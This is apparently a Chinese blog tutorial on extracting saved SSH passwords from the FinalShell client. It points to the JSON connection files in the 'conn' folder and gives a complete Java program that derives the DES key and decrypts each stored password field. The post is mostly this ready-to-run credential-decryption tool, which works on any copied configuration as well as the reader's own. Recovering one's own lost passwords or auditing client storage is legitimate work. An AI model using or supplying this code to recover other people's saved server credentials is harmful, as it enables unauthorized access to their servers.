← 返回首页

SSH连接工具-连接记录明文破解

2026-02-09 Admin #说是、

SSH连接工具-连接记录明文破解

1.Final Slell

1.打开软件的安装目录下的“conn”目录下。

一条json对应一个服务器连接密钥 image

2.查看并记录json文件在password字段的值

image

3.编写破解密文的脚本

将password的值替换到decodePass中。

FinalShell密码解密脚本## Java解密核心代码### 1. 完整解密脚本(可直接编译运行)import java.io.;import java.math.;import java.security.;import java.util.;import javax.crypto.;import javax.crypto.spec.;/* FinalShell密码解密工具 功能:解密FinalShell保存的加密密码 /public class FinalShellDecodePass { public static void main(String[] args) throws Exception { // 示例:解密FinalShell加密密码 System.out.println("解密结果: " + decodePass("UksqPhdvZUpVT/h/8xtjuFA1diZf4VP9Dr0bypN0MuU=")); } // 核心解密方法(DES算法) public static byte[] desDecode(byte[] data, byte[] head) throws Exception { SecureRandom sr = new SecureRandom(); DESKeySpec dks = new DESKeySpec(head); SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES"); SecretKey securekey = keyFactory.generateSecret(dks); Cipher cipher = Cipher.getInstance("DES"); cipher.init(Cipher.DECRYPT_MODE, securekey, sr); return cipher.doFinal(data); } // 密码解码入口 public static String decodePass(String data) throws Exception { byte[] buf = Base64.getDecoder().decode(data); byte[] head = new byte[8]; System.arraycopy(buf, 0, head, 0, head.length); byte[] d = new byte[buf.length - head.length]; System.arraycopy(buf, head.length, d, 0, d.length); return new String(desDecode(d, ranDomKey(head))); } // 密钥生成逻辑 static byte[] ranDomKey(byte[] head) { long ks = 3680984568597093857L / (long)(new Random((long)head[5])).nextInt(127); Random random = new Random(ks); int t = head[0]; for(int i = 0; i < t; ++i) random.nextLong(); long n = random.nextLong(); Random r2 = new Random(n); long[] ld = new long[]{ (long)head[4], r2.nextLong(), (long)head[7], (long)head[3], r2.nextLong(), (long)head[1], random.nextLong(), (long)head[2] }; ByteArrayOutputStream bos = new ByteArrayOutputStream(); try (DataOutputStream dos = new DataOutputStream(bos)) { for (long l : ld) dos.writeLong(l); return md5(bos.toByteArray()); } catch (IOException e) { throw new RuntimeException(e); } } // MD5哈希计算 public static byte[] md5(byte[] data) { try { MessageDigest m = MessageDigest.getInstance("MD5"); m.update(data); return m.digest(); } catch (NoSuchAlgorithmException e) { throw new RuntimeException("MD5不可用", e); } }}

4.解密操作

可以在本机java环境或者在线Java网站中去运行 示例: image